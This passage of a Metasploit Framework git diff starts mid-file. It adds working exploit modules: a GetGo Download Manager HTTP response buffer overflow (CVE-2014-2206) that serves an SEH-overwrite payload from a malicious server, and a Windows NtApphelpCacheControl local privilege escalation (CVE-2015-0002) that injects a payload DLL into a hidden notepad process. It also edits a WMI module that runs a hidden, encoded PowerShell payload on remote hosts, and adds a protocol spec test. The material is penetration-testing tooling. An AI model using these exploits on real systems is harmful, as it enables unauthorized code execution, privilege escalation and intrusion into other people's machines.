NormalRanking + + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in + GetGo Download Manager version 4.9.0.1982 and earlier, caused by an + overly long HTTP response header. + By persuading the victim to download a file from a malicious server, a + remote attacker could execute arbitrary code on the system or cause + the application to crash. This module has been tested successfully on + Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Julien Ahrens', # Vulnerability discovery + 'Gabor Seljan' # Metasploit module + ], + 'References' => + [ + [ 'EDB', '32132' ], + [ 'OSVDB', '103910' ], + [ 'CVE', '2014-2206' ], + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + 'URIPATH' => "/shakeitoff.mp3" + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d", + 'Space' => 2000 + }, + 'Targets' => + [ + [ 'Windows XP SP3', + { + 'Offset' => 4107, + 'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30] + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 09 2014', + 'DefaultTarget' => 0)) + end + + # + # Handle the HTTP request and return a response. + # Code borrowed from: msf/core/exploit/http/server.rb + # + def start_http(opts={}) + # Ensture all dependencies are present before initializing HTTP + use_zlib + + comm = datastore['ListenerComm'] + if (comm.to_s == "local") + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + # Default the server host / port + opts = { + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTPPORT'], + 'Comm' => comm + }.update(opts) + + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + opts['ServerPort'].to_i, + opts['ServerHost'], + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'], + datastore['SSLCert'] + ) + + @http_service.server_name = datastore['HTTP::server_name'] + + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + + proto = (datastore["SSL"] ? "https" : "http") + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + + if (opts['ServerHost'] == '0.0.0.0') + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + end + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + + # As long as we have the http_service object, we will keep the server alive + while @http_service + select(nil, nil, nil, 1) + end + end + + + # + # Kill HTTP/FTP (shut them down and clear resources) + # + def cleanup + super + stop_service + + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service.close + @http_service = nil + rescue + end + end + + + def on_request_uri(cli, request) + + print_status("Client connected...") + + unless request['User-Agent'] =~ /GetGo Download Manager 4.0/ + print_error("Sending 404 for unknown user-agent") + send_not_found(cli) + return + end + + sploit = rand_text_alpha(target['Offset']) + sploit << "\x90\x90\xEB\x06" + sploit << [target.ret].pack('V') + sploit << payload.encoded + + print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...") + + resp = create_response(200, sploit) + resp.body = "" + cli.send_response(resp) + + close_client(cli) + + end +end diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb new file mode 100644 index 0000000000..929a52a6b0 --- /dev/null +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Exploit::EXE + include Msf::Post::File + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check', + 'Description' => %q{ + On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) + allows application compatibility data to be cached for quick reuse when new processes are + created. A normal user can query the cache but cannot add new cached entries as the + operation is restricted to administrators. This is checked in the function + AhcVerifyAdminContext. + + This function has a vulnerability where it doesn't correctly check the impersonation token + of the caller to determine if the user is an administrator. It reads the caller's + impersonation token using PsReferenceImpersonationToken and then does a comparison between + the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level + of the token so it's possible to get an identify token on your thread from a local system + process and bypass this check. + + This module currently only affects Windows 8 and Windows 8.1, and requires access to + C:\Windows\System\ComputerDefaults.exe (although this can be improved). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Forshaw', + 'sinn3r' + ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Arch' => [ARCH_X86, ARCH_X86_64], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] + ], + 'DefaultTarget' => 0, + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2015-0002' ], + [ 'OSVEB', '116497' ], + [ 'EDB', '35661' ], + [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] + ], + 'DisclosureDate' => 'Sep 30 2014' + })) + end + + def temp + @temp ||= get_env('TEMP').to_s + end + + def payload_filepath + @payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll" + end + + def upload_payload_dll(payload_filepath) + payload = generate_payload_dll({:dll_exitprocess => true}) + begin + write_file(payload_filepath, payload) + rescue Rex::Post::Meterpreter::RequestError => e + fail_with( + Failure::Unknown, + "Error uploading file #{payload_filepath}: #{e.class} #{e}" + ) + end + end + + def upload_payload + print_status("Payload DLL will be: #{payload_filepath}") + + # Upload the payload + upload_payload_dll(payload_filepath) + if !file?(payload_filepath) + fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.") + end + end + + def inject_exploit(process) + lib_file_path = ::File.join( + Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll' + ) + + print_status("Creating thread") + exploit_mem, offset = inject_dll_into_process(process, lib_file_path) + var_mem = inject_into_process(process, payload_filepath) + process.thread.create(exploit_mem + offset, var_mem) + end + + def prep_exploit_host + process = nil + notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) + begin + process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + rescue Rex::Post::Meterpreter::RequestError + process = client.sys.process.open + rescue ::Exception => e + elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}") + end + process + end + + def check + if sysinfo['OS'] =~ /Windows 8/ + # Still an 0day, but since this check doesn't actually trigger the vulnerability + # so we should only flag this as CheckCode::Appears + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + if session.platform !~ /^x86\// + print_error("Sorry, this module currently only allows x86/win32 sessions.") + print_error("You will have to get a x86/win32 session first, and then you can") + print_error("select a x64 payload as this exploit's payload.") + return + end + + print_status("Uploading the payload DLL") + upload_payload + + proc = prep_exploit_host + if !proc + fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)") + end + + print_status("Injecting exploit into PID #{proc.pid}") + inject_exploit(proc) + end + + +end diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index 6e40e73e87..3f6a75d772 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -27,9 +27,8 @@ class Metasploit3 < Msf::Exploit::Local the session's current authentication token instead of having to know a password or hash. - We do not get feedback from the WMIC command so there are no - indicators of success or failure. The remote host must be configured - to allow remote Windows Management Instrumentation. + The remote host must be configured to allow remote Windows Management + Instrumentation. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -76,42 +75,51 @@ class Metasploit3 < Msf::Exploit::Local end def run_host(server) - # Get the PSH Payload and split it into bitesize chunks - # 1024 appears to be the max value allowed in env vars + if load_extapi + psh_options = { :remove_comspec => true, + :encode_final_payload => true } + else + psh_options = { :remove_comspec => true, + :encode_inner_payload => true, + :use_single_quotes => true } + end + psh = cmd_psh_payload(payload.encoded, payload_instance.arch.first, - { - :remove_comspec => true, - :encode_inner_payload => true, - :use_single_quotes => true - }) - chunks = split_code(psh, 1000) + psh_options) begin - print_status("[#{server}] Storing payload in environment variables") - env_name = rand_text_alpha(rand(3)+3) - env_vars = [] - 0.upto(chunks.length-1) do |i| - env_vars << "#{env_name}#{i}" - c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" - result = wmic_command(c, server) + if load_extapi + exec_cmd = psh + else + # Get the PSH Payload and split it into bitesize chunks + # 1024 appears to be the max value allowed in env vars + print_status("[#{server}] Storing payload in environment variables") + chunks = split_code(psh, 1000) + env_name = rand_text_alpha(rand(3)+3) + env_vars = [] + 0.upto(chunks.length-1) do |i| + env_vars << "#{env_name}#{i}" + c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" + result = wmic_command(c, server) - unless result - print_error("[#{server}] WMIC command error - skipping host") - return false + unless result + print_error("[#{server}] WMIC command error - skipping host") + return false + end end - end - x = rand_text_alpha(rand(3)+3) - exec_cmd = generate_psh_command_line({ - :noprofile => true, - :windowstyle => 'hidden', - :command => "$#{x}=''" - }) - env_vars.each do |env| - exec_cmd << "+$env:#{env}" + x = rand_text_alpha(rand(3)+3) + exec_cmd = generate_psh_command_line({ + :noprofile => true, + :windowstyle => 'hidden', + :command => "$#{x}=''" + }) + env_vars.each do |env| + exec_cmd << "+$env:#{env}" + end + exec_cmd << ";IEX $#{x};" end - exec_cmd << ";IEX $#{x};" print_status("[#{server}] Executing payload") result = wmic_command(exec_cmd, server) @@ -126,10 +134,12 @@ class Metasploit3 < Msf::Exploit::Local print_error("[#{server}] failed...)") end - print_status("[#{server}] Cleaning up environment variables") - env_vars.each do |env| - cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" - wmic_command(cleanup_cmd, server) + unless load_extapi + print_status("[#{server}] Cleaning up environment variables") + env_vars.each do |env| + cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" + wmic_command(cleanup_cmd, server) + end end rescue Rex::Post::Meterpreter::RequestError => e print_error("[#{server}] Error moving on... #{e}") diff --git a/spec/lib/rex/proto/acpp/message_spec.rb b/spec/lib/rex/proto/acpp/message_spec.rb new file mode 100644 index 0000000000..97e5569d39 --- /dev/null +++ b/spec/lib/rex/proto/acpp/message_spec.rb @@ -0,0 +1,83 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/acpp' + +describe Rex::Proto::ACPP::Message do + + subject(:message) do + described_class.new + end + + # retrieve_public.bin has the contents of a message type 20 (retrieve + # settings) message with a password of public. There is no payload. + let(:retrieve_public_bin) do + IO.read(File.join(File.dirname(__FILE__), 'retrieve_public.bin')) + end + + let(:retrieve_public_message) do + message.password = 'public' + message.type = 20 + message + end + + describe '#==' do + it 'considers two different objects composed of equal parts equal' do + message2 = described_class.new + message2.password = 'public' + message2.type = 20 + expect(message2).to eq(retrieve_public_message) + end + it 'considers two different objects composed of different parts unequal' do + message3 = described_class.new + message3.type = 1 + message3.password = 'private' + expect(message3).not_to eq(retrieve_public_message) + end + end + + describe '#to_s' do + it 'encodes properly' do + expect(retrieve_public_bin).to eq(retrieve_public_message.to_s) + end + end + + describe '#decode' do + it 'fails to decode if the message is the wrong size' do + small = Rex::Text.rand_text_alpha(100) + large = Rex::Text.rand_text_alpha(200) + expect { described_class.decode(small) }.to raise_error(/size #{small.size}/i) + expect { described_class.decode(large) }.to raise_error(/size #{large.size}/i) + end + it 'fails to decode if the required header is incorrect' do + retrieve_public_bin[0,4] = 'blah' + expect { described_class.decode(retrieve_public_bin) }.to raise_error(/header/i) + end + it 'decodes properly when the required checksum is correct' do + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin)) + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, true)) + end + it 'decodes properly when the non-required checksum is correct' do + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false)) + end + it 'decodes properly when the message checksum is incorrect' do + retrieve_public_bin[7,4] = "\x01\x02\x03\x04" + expect { described_class.decode(retrieve_public_bin) }.to raise_error(/message checksum/i) + expect { described_class.decode(retrieve_public_bin, true) }.to raise_error(/message checksum/i) + expect(retrieve_public_message).to eq(described_class.decode(retrieve_public_bin, false)) + end + end + + describe '#successful?' do + it 'is successful when 0' do + message = described_class.new + message.status = 0 + expect(message.successful?).to be true + end + it 'is successful when !0' do + message = described_class.new + message.status = 1 + expect(message.successful?).to be false + end + end +end diff --git a/spec/lib/rex/proto/acpp/retrieve_public.bin b/spec/lib/rex/proto/acpp/retrieve_public.bin new file mode 100644 index 0000000000..bc0140de7f Binary files /dev/null and b/spec/lib/rex/proto/acpp/retrieve_public.bin differ